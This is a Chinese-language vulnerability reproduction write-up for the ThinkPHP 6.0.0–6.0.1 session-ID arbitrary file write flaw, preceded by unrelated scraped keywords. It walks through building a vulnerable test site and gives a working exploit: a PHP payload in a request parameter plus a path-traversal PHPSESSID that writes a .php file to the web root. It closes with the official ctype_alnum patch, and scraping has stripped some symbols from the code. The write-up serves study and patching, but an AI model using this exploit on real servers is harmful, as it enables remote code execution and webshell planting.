网站开发用什么服务器,linux wordpress 中文字体,ui培训机构排名前十,黄石建网站ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现 漏洞名称漏洞描述影响版本 漏洞复现环境搭建安装thinkphp6漏洞信息配置 漏洞利用 修复建议 漏洞名称
漏洞描述
2020年1月10日#xff0c;ThinkPHP团队发布一个补丁更新#xff0c;修复了一处由不安全的SessionId导致的任意文… ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现 漏洞名称漏洞描述影响版本 漏洞复现环境搭建安装thinkphp6漏洞信息配置 漏洞利用 修复建议 漏洞名称
漏洞描述
2020年1月10日ThinkPHP团队发布一个补丁更新修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件在特定情况下还可以getshell。
影响版本
ThinkPHP 6.0.0 ThinkPHP 6.0.1
漏洞复现
环境搭建
受害者IP192.168.10.145 攻击者IP127.0.0.1
安装thinkphp6
下载PHPstudy_pro网上一堆自己找吧链接不推了。 利用PHPStudy_pro对环境进行安装Composer2.5.8 创建网站域名think6会在think6目录下生成.htaccess文件和nginx.htaccess文件将这两个文件移动到上个目录也就是www目录下。 打开composercomposer2.5.8php7.2 在www目录下面执行这个命令
cd ../
composer create-project topthink/think think6think6自定义这个会生成一个文件夹 将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本并执行更新命令 进入tp6目录
cd tp6
composer update在本地访问网站为6.0.0则成功搭建。
漏洞信息配置
构造位置think6\app\controller\Index.php 需要增加构造的内容
use think\facade\Session;
session::set(demo,$_GET[c]);/think6/app/middleware.php 文件开启session去掉注释session的// 漏洞利用
构造参数c和phpsessid
index?c?php phpinfo();?
PHPSESSID../../../../public/1omg12377.php访问public目录下的1omg12377.php文件。 修复建议
官方修复建议对session id 加一个过滤使用ctype_alnum()
$this-id is_string($id) strlen($id) 32 ctype_alnum$id ? $id : md5(microtime(true) . session_create_id());